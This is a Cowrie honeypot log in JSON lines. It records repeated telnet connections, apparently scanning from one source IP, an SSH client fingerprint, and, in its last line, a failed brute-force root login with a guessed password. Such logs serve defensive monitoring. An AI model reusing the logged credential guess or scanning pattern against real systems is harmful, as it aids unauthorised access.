{"eventid":"cowrie.session.closed","duration":30.390136003494263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:23.077291Z","src_ip":"213.129.84.225","session":"47018e041f43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849071741104126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:23.465697Z","src_ip":"213.129.84.225","session":"c57330135447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42668,"dst_ip":"159.203.135.109","dst_port":23,"session":"31cd6a87342c","protocol":"telnet","message":"New connection: 213.129.84.225:42668 (159.203.135.109:23) [session: 31cd6a87342c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:23.576898Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e35085fdf896","protocol":"telnet","message":"New connection: 213.129.84.225:43156 (159.203.135.109:23) [session: e35085fdf896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:23.694688Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44656,"dst_ip":"159.203.135.109","dst_port":23,"session":"e27b7d6babba","protocol":"telnet","message":"New connection: 213.129.84.225:44656 (159.203.135.109:23) [session: e27b7d6babba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:24.051838Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44954,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d1625bb01a","protocol":"telnet","message":"New connection: 213.129.84.225:44954 (159.203.135.109:23) [session: a5d1625bb01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:24.127468Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50892,"dst_ip":"159.203.135.109","dst_port":23,"session":"afca13566b76","protocol":"telnet","message":"New connection: 213.129.84.225:50892 (159.203.135.109:23) [session: afca13566b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:25.435164Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"dde5b151c3fb","protocol":"telnet","message":"New connection: 213.129.84.225:54442 (159.203.135.109:23) [session: dde5b151c3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:26.186224Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54726,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1af4c02354","protocol":"telnet","message":"New connection: 213.129.84.225:54726 (159.203.135.109:23) [session: ca1af4c02354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:26.251062Z"}
{"eventid":"cowrie.session.closed","duration":31.13742756843567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:26.371379Z","src_ip":"213.129.84.225","session":"5bb4d97a72be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867987155914307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:27.052757Z","src_ip":"213.129.84.225","session":"acffefb1dbc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59872,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d014db18df7","protocol":"telnet","message":"New connection: 213.129.84.225:59872 (159.203.135.109:23) [session: 1d014db18df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:27.396129Z"}
{"eventid":"cowrie.session.closed","duration":30.67553186416626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:28.040619Z","src_ip":"213.129.84.225","session":"2da193525644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35452,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf71f15ac3ff","protocol":"telnet","message":"New connection: 213.129.84.225:35452 (159.203.135.109:23) [session: cf71f15ac3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:28.284797Z"}
{"eventid":"cowrie.session.closed","duration":30.715033054351807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:28.417033Z","src_ip":"213.129.84.225","session":"4b7e25144e87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36222,"dst_ip":"159.203.135.109","dst_port":23,"session":"31002a79371b","protocol":"telnet","message":"New connection: 213.129.84.225:36222 (159.203.135.109:23) [session: 31002a79371b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:28.422651Z"}
{"eventid":"cowrie.session.closed","duration":31.570964574813843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:28.773581Z","src_ip":"213.129.84.225","session":"2f5f48923c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.57851982116699,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:29.840848Z","src_ip":"137.184.155.248","session":"7f006d0f61a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44850,"dst_ip":"159.203.135.109","dst_port":23,"session":"53da565dab87","protocol":"telnet","message":"New connection: 213.129.84.225:44850 (159.203.135.109:23) [session: 53da565dab87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:30.275081Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45258,"dst_ip":"159.203.135.109","dst_port":23,"session":"412184b6cfe8","protocol":"telnet","message":"New connection: 213.129.84.225:45258 (159.203.135.109:23) [session: 412184b6cfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:30.384881Z"}
{"eventid":"cowrie.session.closed","duration":31.256836414337158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:30.441521Z","src_ip":"213.129.84.225","session":"133726a1b33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43972,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b0298475dc","protocol":"telnet","message":"New connection: 213.129.84.225:43972 (159.203.135.109:23) [session: 45b0298475dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:31.046938Z"}
{"eventid":"cowrie.session.closed","duration":30.888383865356445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:31.118916Z","src_ip":"213.129.84.225","session":"920271d71645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.07906913757324,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:31.386435Z","src_ip":"137.184.155.248","session":"3ccc1641153b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.94970464706421,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:31.418524Z","src_ip":"137.184.155.248","session":"7891f6934980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881250858306885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.058949Z","src_ip":"213.129.84.225","session":"28c308b94f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53836,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5dcf4d8ba1","protocol":"telnet","message":"New connection: 213.129.84.225:53836 (159.203.135.109:23) [session: 6e5dcf4d8ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.238827Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53952,"dst_ip":"159.203.135.109","dst_port":23,"session":"bacacd185a8a","protocol":"telnet","message":"New connection: 213.129.84.225:53952 (159.203.135.109:23) [session: bacacd185a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.265986Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56064,"dst_ip":"159.203.135.109","dst_port":23,"session":"4da2c8d0d3c1","protocol":"telnet","message":"New connection: 213.129.84.225:56064 (159.203.135.109:23) [session: 4da2c8d0d3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.689342Z"}
{"eventid":"cowrie.session.closed","duration":120.00194430351257,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.788695Z","src_ip":"5.54.52.173","session":"b8ed9e7561f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56666,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f3b0e49da13","protocol":"telnet","message":"New connection: 213.129.84.225:56666 (159.203.135.109:23) [session: 9f3b0e49da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.806623Z"}
{"eventid":"cowrie.session.closed","duration":50.5106782913208,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:32.865481Z","src_ip":"137.184.155.248","session":"9c6c0fd8520d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923067331314087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:33.098904Z","src_ip":"213.129.84.225","session":"088edeaf388c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81822109222412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:33.125640Z","src_ip":"213.129.84.225","session":"998b911895d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.54706430435181,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:33.717519Z","src_ip":"213.129.84.225","session":"040d0eca34dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34784,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b38139992e","protocol":"telnet","message":"New connection: 213.129.84.225:34784 (159.203.135.109:23) [session: b1b38139992e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:34.180405Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34836,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f35ed5b0b9","protocol":"telnet","message":"New connection: 213.129.84.225:34836 (159.203.135.109:23) [session: 27f35ed5b0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:34.195684Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37640,"dst_ip":"159.203.135.109","dst_port":23,"session":"829a26359da1","protocol":"telnet","message":"New connection: 213.129.84.225:37640 (159.203.135.109:23) [session: 829a26359da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:34.868432Z"}
{"eventid":"cowrie.session.closed","duration":30.12276816368103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:35.076860Z","src_ip":"213.129.84.225","session":"6a8658615f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55144762992859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:35.461999Z","src_ip":"213.129.84.225","session":"b80625e800fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a95a9b42ba","protocol":"telnet","message":"New connection: 137.184.155.248:39064 (10.17.0.5:23) [session: b2a95a9b42ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:35.508452Z"}
{"eventid":"cowrie.session.closed","duration":31.4453227519989,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:35.711771Z","src_ip":"207.148.4.7","session":"0c98a3589667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44274,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f06cd9a1ec","protocol":"telnet","message":"New connection: 213.129.84.225:44274 (159.203.135.109:23) [session: e3f06cd9a1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:36.320724Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46526,"dst_ip":"159.203.135.109","dst_port":23,"session":"062d5b60a3c4","protocol":"telnet","message":"New connection: 213.129.84.225:46526 (159.203.135.109:23) [session: 062d5b60a3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:36.751866Z"}
{"eventid":"cowrie.session.closed","duration":30.39141345024109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:37.051885Z","src_ip":"213.129.84.225","session":"50d4f0c2ca2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39080,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9a8b781d5f","protocol":"telnet","message":"New connection: 137.184.155.248:39080 (10.17.0.5:23) [session: 5d9a8b781d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:37.137905Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48566,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f81b2755280","protocol":"telnet","message":"New connection: 213.129.84.225:48566 (159.203.135.109:23) [session: 1f81b2755280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:38.216927Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53572,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2c5a33ae1d","protocol":"telnet","message":"New connection: 213.129.84.225:53572 (159.203.135.109:23) [session: 3a2c5a33ae1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:38.255562Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39096,"dst_ip":"10.17.0.5","dst_port":23,"session":"023391a972f2","protocol":"telnet","message":"New connection: 137.184.155.248:39096 (10.17.0.5:23) [session: 023391a972f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:38.374118Z"}
{"eventid":"cowrie.session.closed","duration":30.64738392829895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:39.053920Z","src_ip":"213.129.84.225","session":"c3db4cbf42e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072278261184692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:39.111731Z","src_ip":"213.129.84.225","session":"f02fb16e256c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545108318328857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:39.136604Z","src_ip":"213.129.84.225","session":"de391df82375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33386,"dst_ip":"159.203.135.109","dst_port":23,"session":"8254f1d078eb","protocol":"telnet","message":"New connection: 213.129.84.225:33386 (159.203.135.109:23) [session: 8254f1d078eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:39.974661Z"}
{"eventid":"cowrie.session.closed","duration":30.71366810798645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:40.056635Z","src_ip":"213.129.84.225","session":"f91bcf51f3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2fae4de064","protocol":"telnet","message":"New connection: 213.129.84.225:58146 (159.203.135.109:23) [session: bf2fae4de064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:40.283001Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.54.52.173","src_port":39432,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f0601027874","protocol":"telnet","message":"New connection: 5.54.52.173:39432 (10.17.0.5:23) [session: 1f0601027874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:40.323762Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35892,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eadfab34e67","protocol":"telnet","message":"New connection: 213.129.84.225:35892 (159.203.135.109:23) [session: 6eadfab34e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:40.543225Z"}
{"eventid":"cowrie.session.closed","duration":30.591548442840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:41.080463Z","src_ip":"213.129.84.225","session":"38d7a7bf6cfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02704358100891,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:41.733388Z","src_ip":"137.184.155.248","session":"df992caaa32b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42692,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aca489cc5d8","protocol":"telnet","message":"New connection: 213.129.84.225:42692 (159.203.135.109:23) [session: 1aca489cc5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:41.985697Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41168,"dst_ip":"159.203.135.109","dst_port":23,"session":"99792fd2c671","protocol":"telnet","message":"New connection: 213.129.84.225:41168 (159.203.135.109:23) [session: 99792fd2c671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:42.663635Z"}
{"eventid":"cowrie.session.closed","duration":30.97971272468567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:43.169554Z","src_ip":"213.129.84.225","session":"006db6b735d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.244587182998657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:43.233360Z","src_ip":"213.129.84.225","session":"25fa565a3a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48494,"dst_ip":"159.203.135.109","dst_port":23,"session":"db71dc48536e","protocol":"telnet","message":"New connection: 213.129.84.225:48494 (159.203.135.109:23) [session: db71dc48536e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:43.269962Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48668,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a52ad260268","protocol":"telnet","message":"New connection: 213.129.84.225:48668 (159.203.135.109:23) [session: 0a52ad260268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:44.296282Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58520,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c9b9aa9c8f6","protocol":"telnet","message":"New connection: 213.129.84.225:58520 (159.203.135.109:23) [session: 5c9b9aa9c8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:45.180794Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59162,"dst_ip":"159.203.135.109","dst_port":23,"session":"4363028bf10f","protocol":"telnet","message":"New connection: 213.129.84.225:59162 (159.203.135.109:23) [session: 4363028bf10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:45.318920Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":56390,"dst_ip":"159.203.135.109","dst_port":22,"session":"2710bc93e2ea","protocol":"ssh","message":"New connection: 202.125.94.71:56390 (159.203.135.109:22) [session: 2710bc93e2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:45.621849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:45.628070Z","src_ip":"202.125.94.71","session":"2710bc93e2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:45.887703Z","src_ip":"202.125.94.71","session":"2710bc93e2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.618178129196167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:46.084234Z","src_ip":"213.129.84.225","session":"c9caa33556e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35920,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d1c02beaa20","protocol":"telnet","message":"New connection: 213.129.84.225:35920 (159.203.135.109:23) [session: 2d1c02beaa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:46.367155Z"}
{"eventid":"cowrie.session.closed","duration":30.87006402015686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:46.409469Z","src_ip":"213.129.84.225","session":"1dfbb29f49ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46680,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bdf4fb9e0e5","protocol":"telnet","message":"New connection: 207.148.4.7:46680 (159.203.135.109:23) [session: 0bdf4fb9e0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:46.456369Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60186,"dst_ip":"159.203.135.109","dst_port":23,"session":"90dd1a27c30d","protocol":"telnet","message":"New connection: 213.129.84.225:60186 (159.203.135.109:23) [session: 90dd1a27c30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:46.568763Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yl@123456","message":"login attempt [root/Yl@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:46.958043Z","src_ip":"202.125.94.71","session":"2710bc93e2ea","protocol":"ssh"}
